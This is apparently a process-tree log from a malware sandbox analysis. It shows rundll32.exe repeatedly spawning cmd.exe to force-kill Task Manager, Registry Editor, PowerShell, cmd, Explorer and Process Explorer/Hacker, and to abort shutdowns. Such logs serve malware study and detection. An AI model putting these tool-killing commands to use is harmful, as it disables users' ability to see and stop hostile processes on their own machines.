- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5320
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1068
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:536
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3668
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:888
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2088
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:920
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1300
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5976
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:464
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2576
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5532
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4020
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5156
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4996
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:4292
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5812
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5212
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3092
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3484
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2188
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3980
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1236
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1556
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5808
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4968
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1456
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2612
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5636
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5312
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2124
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3764
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1568
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3508
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4144
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2784
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3392
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1872
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5072
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2260
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4072
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5172
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:4632
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5176
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5640
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:220
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:112
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5360
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5480
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:6024
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2472
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4452
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1624
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:632
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2104
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2268
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1148
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:640
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4320
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3044
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4756
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3332
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3300
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4908
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3344
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4672
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5012
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3704
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2636
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3664
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:1012
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5652
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4900
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1176
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1656
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2812
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1356
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4880
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4168
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3460
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4396
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6076
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5220
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4640
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4516
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4476
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:956
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3692
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4844
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3320
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5564
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3220
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3472
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4460
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5488
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1040
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1128
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4608
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2936
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1048
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5204
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2276
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4316
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1644
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:4568
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:868
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5308
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3936
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5696
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5136
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4132
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3372
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3944
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:364
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1744
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:932
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2136
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4448
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1280
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5036
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2628
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1308
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2116
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5792
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5180
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5964
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1428
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1856
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1712
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2328
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2292
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:860
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1016
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:1060
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5872
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5952
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5984
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5108
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:624
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2708
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5868
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1112
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1764
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2940
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:3772
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3940
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4484
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5788
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5944
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5548
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5260
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5232
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5876
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1640
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5920
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2796
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4620
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3516
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2232
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3884
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1404
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:864
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2404
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4064
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4856
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1476
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3412
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4468
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1696
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5976
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1120
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1108
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4292
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5812
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5212
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5684
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
